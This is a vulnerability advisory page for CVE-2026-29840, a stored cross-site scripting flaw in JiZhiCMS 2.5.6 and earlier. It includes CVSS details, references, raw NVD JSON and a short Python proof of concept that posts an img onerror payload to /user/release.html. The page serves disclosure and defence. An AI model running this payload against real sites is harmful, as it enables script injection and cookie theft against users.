CVE-2026-29840

Description

JiZhiCMS v2.5.6 and before contains a Stored Cross-Site Scripting (XSS) vulnerability in the release function within app/home/c/UserController.php. The application attempts to sanitize input by filtering <script> tags but fails to recursively remove dangerous event handlers in other HTML tags (such as onerror in <img> tags). This allows an authenticated remote attacker to inject arbitrary web script or HTML via the body parameter in a POST request to /user/release.html.

CVSS Details

CVSS Score

5.4

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:jizhicms:jizhicms:*:*:*:*:*:*:*:* - VULNERABLE

JiZhiCMS <= 2.5.6

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target URL
url = "http://target.com/user/release.html"

# Malicious payload using img tag to bypass script filter
payload = '<img src=x onerror=alert(document.cookie)>'

# POST data
data = {
    "body": payload
}

# Authentication cookies (required)
cookies = {
    "JZSESSION": "your_session_cookie"
}

# Send the request
response = requests.post(url, data=data, cookies=cookies)

if response.status_code == 200:
    print("[+] Exploit sent successfully!")
else:
    print("[-] Failed to send exploit.")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-29840
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-29840
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-29840/
[4] VulDB https://vuldb.com/cve/CVE-2026-29840
[5] http://www.demo.com/user/release/molds/article.html
[6] https://gist.github.com/w-p-man/790f51f918499798180a8def3a6fdfb0

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-29840", "sourceIdentifier": "[email protected]", "published": "2026-03-24T16:16:30.907", "lastModified": "2026-03-25T20:49:31.147", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "JiZhiCMS v2.5.6 and before contains a Stored Cross-Site Scripting (XSS) vulnerability in the release function within app/home/c/UserController.php. The application attempts to sanitize input by filtering <script> tags but fails to recursively remove dangerous event handlers in other HTML tags (such as onerror in <img> tags). This allows an authenticated remote attacker to inject arbitrary web script or HTML via the body parameter in a POST request to /user/release.html."}, {"lang": "es", "value": "JiZhiCMS v2.5.6 y versiones anteriores contienen una vulnerabilidad de tipo «Stored Cross-Site Scripting» (XSS) en la función «release» del archivo app/home/c/UserController.php. La aplicación intenta sanitizar la entrada filtrando las etiquetas "}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:jizhicms:jizhicms:*:*:*:*:*:*:*:*", "versionEndIncluding": "2.5.6", "matchCriteriaId": "09721DA8-D697-4778-89A7-2B7D804451CD"}]}]}], "references": [{"url": "http://www.demo.com/user/release/molds/article.html", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "https://gist.github.com/w-p-man/790f51f918499798180a8def3a6fdfb0", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}